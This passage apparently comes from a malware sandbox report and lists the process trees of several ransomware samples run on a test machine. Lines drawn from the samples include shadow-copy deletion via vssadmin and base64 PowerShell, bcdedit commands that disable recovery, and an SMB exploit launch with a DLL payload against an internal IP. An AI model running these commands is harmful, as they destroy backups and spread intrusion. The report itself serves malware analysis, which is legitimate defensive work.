      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:30104
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 30104 -s 940
        7⤵
        
        PID:30368
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:29856
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 29856 -s 972
        7⤵
        
        PID:30396
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:30284
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 30284 -s 940
        7⤵
        
        PID:30132
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:31156
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 31156 -s 940
        7⤵
        
        PID:31380
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:30008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 30008 -s 940
        7⤵
        
        PID:30916
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:30724
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 30724 -s 948
        7⤵
        
        PID:30676
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:32068
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 32068 -s 940
        7⤵
        
        PID:32224
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:32624
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 32624 -s 940
        7⤵
        
        PID:32756
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:32236
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 32236 -s 940
        7⤵
        
        PID:31180
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:32692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 32692 -s 956
        7⤵
        
        PID:32848
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:33240
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 33240 -s 940
        7⤵
        
        PID:33380
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:33740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 33740 -s 952
        7⤵
        
        PID:32936
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:32524
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 32524 -s 940
        7⤵
        
        PID:33164
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:33800
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 33800 -s 940
        7⤵
        
        PID:33900
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:34276
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 34276 -s 940
        7⤵
        
        PID:34428
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:32524
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 32524 -s 940
        7⤵
        
        PID:34140
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:34012
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 34012 -s 940
        7⤵
        
        PID:34508
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:34936
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 34936 -s 940
        7⤵
        
        PID:35104
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:35548
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 35548 -s 944
        7⤵
        
        PID:35648
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:35176
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 35176 -s 960
        7⤵
        
        PID:34968
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:35052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 35052 -s 940
        7⤵
        
        PID:35740
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:36044
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 36044 -s 940
        7⤵
        
        PID:36152
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:36516
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 36516 -s 944
        7⤵
        
        PID:36684
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:36452
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 36452 -s 940
        7⤵
        
        PID:36768
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:36836
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 36836 -s 940
        7⤵
        
        PID:4128
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:37248
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 37248 -s 940
        7⤵
        
        PID:37416
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:37716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 37716 -s 940
        7⤵
        
        PID:5720
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:37396
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 37396 -s 940
        7⤵
        
        PID:37796
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:36964
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 36964 -s 952
        7⤵
        
        PID:37360
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:38056
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 38056 -s 956
        7⤵
        
        PID:38208
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:38564
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 38564 -s 940
        7⤵
        
        PID:38712
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:38136
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 38136 -s 940
        7⤵
        
        PID:38496
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:38612
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 38612 -s 940
        7⤵
        
        PID:38888
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:39080
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 39080 -s 940
        7⤵
        
        PID:39208
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:39576
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 39576 -s 964
        7⤵
        
        PID:39748
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:39280
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 39280 -s 940
        7⤵
        
        PID:39504
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:39392
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 39392 -s 940
        7⤵
        
        PID:38688
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:39956
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 39956 -s 940
        7⤵
        
        PID:40088
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:40392
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 40392 -s 940
        7⤵
        
        PID:40504
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:40804
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 40804 -s 948
        7⤵
        
        PID:40944
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:40360
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 40360 -s 940
        7⤵
        
        PID:40652
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:40588
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 40588 -s 948
        7⤵
        
        PID:40560
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:40740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 40740 -s 944
        7⤵
        
        PID:41108
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:41468
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 41468 -s 956
        7⤵
        
        PID:41592
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:41880
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 41880 -s 940
        7⤵
        
        PID:41072
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:41720
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 41720 -s 940
        7⤵
        
        PID:41168
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:41748
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 41748 -s 960
        7⤵
        
        PID:41136
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
    Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4300
  - - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
      C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Drops desktop.ini file(s)
      Drops file in System32 directory
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:4416
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe"
        5⤵
        
        PID:5868
      - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        6⤵
        
        PID:10556
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:11452
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe"
        5⤵
        
        PID:10840
      - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        6⤵
        
        PID:10236
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:9628
    - - C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
        5⤵
        
        PID:6504
    - - C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
        5⤵
        
        PID:5784
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.CryFile.zzl-d781d8a94e02093ccdb2e4b698582b3a1ea42b154829794b430f649fe12870f2.exe
    Trojan-Ransom.Win32.CryFile.zzl-d781d8a94e02093ccdb2e4b698582b3a1ea42b154829794b430f649fe12870f2.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Users\All Users\mmkt.exe
      "C:\Users\All Users\mmkt.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3264
  - - C:\Sicck.exe
      "C:\Sicck.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.112 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.112
      4⤵
      PID:9020
    - - C:\Users\ALLUSE~1\blue.exe
        
        blue.exe --TargetIp 10.127.0.112
        5⤵
        
        PID:8184
    - - C:\Users\ALLUSE~1\star.exe
        
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.112
        5⤵
        
        PID:8596
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.DigiPog.ep-fdbe5f69bb19bd05372847a7e3aa3196bfbd2cf620baec58bb8ac42c995a61ac.exe
    Trojan-Ransom.Win32.DigiPog.ep-fdbe5f69bb19bd05372847a7e3aa3196bfbd2cf620baec58bb8ac42c995a61ac.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2636
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
    Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:2712
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe
    Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:4232
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
    Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:4032
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Sodin.aaz-47e05f24669a0ffd7ca461aaf7e76e0b6e17f6cf424e4d854ddc584ee26ef42c.exe
    Trojan-Ransom.Win32.Sodin.aaz-47e05f24669a0ffd7ca461aaf7e76e0b6e17f6cf424e4d854ddc584ee26ef42c.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      4⤵
      PID:5760
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Sodin.abv-6e5f225b72d932fa68cafd3e0366298d5b1b92098049dcf01f6e3f2ad0f9b92e.exe
    Trojan-Ransom.Win32.Sodin.abv-6e5f225b72d932fa68cafd3e0366298d5b1b92098049dcf01f6e3f2ad0f9b92e.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2476
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Sodin.adh-a8330e4e9ae277220a20ab4fd818495b3e6ff997f2a07215435d4f6262eccdcd.exe
    Trojan-Ransom.Win32.Sodin.adh-a8330e4e9ae277220a20ab4fd818495b3e6ff997f2a07215435d4f6262eccdcd.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2864
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2864 -s 284
      4⤵
      Program crash
      PID:1624
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Sodin.alx-f87cc35fedf1bcfa47f9df0d08bbc0d6741f46241a214dbdfa6b2ae6ac09068a.exe
    Trojan-Ransom.Win32.Sodin.alx-f87cc35fedf1bcfa47f9df0d08bbc0d6741f46241a214dbdfa6b2ae6ac09068a.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4440
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 236
      4⤵
      Program crash
      PID:1208
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Sodin.ax-a8309e454d9177a8fe2c84c79925fa800282f9fde2413f219dbf60fc77dd37a1.exe
    Trojan-Ransom.Win32.Sodin.ax-a8309e454d9177a8fe2c84c79925fa800282f9fde2413f219dbf60fc77dd37a1.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      4⤵
      PID:13708
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Sodin.bb-20684d3edd9d61bbe0a84559c8e197a02a123e697bc8d05bd9305cf1d3984c15.exe
    Trojan-Ransom.Win32.Sodin.bb-20684d3edd9d61bbe0a84559c8e197a02a123e697bc8d05bd9305cf1d3984c15.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:14828
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.in-488fc31a56df22ee62120505326df0699627525c17fbdde472437f447ba2b779.exe
    Trojan-Ransom.Win32.Stop.in-488fc31a56df22ee62120505326df0699627525c17fbdde472437f447ba2b779.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3552
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 868
      4⤵
      Program crash
      PID:1648
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 876
      4⤵
      Program crash
      PID:4032
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 896
      4⤵
      Program crash
      PID:224
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 880
      4⤵
      Program crash
      PID:5324
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 968
      4⤵
      Program crash
      PID:5864
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 972
      4⤵
      Program crash
      PID:5360
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1604
      4⤵
      Program crash
      PID:7712
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1588
      4⤵
      Program crash
      PID:7072
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1664
      4⤵
      Program crash
      PID:9536
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1604
      4⤵
      Program crash
      PID:7460
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1904
      4⤵
      Program crash
      PID:12016
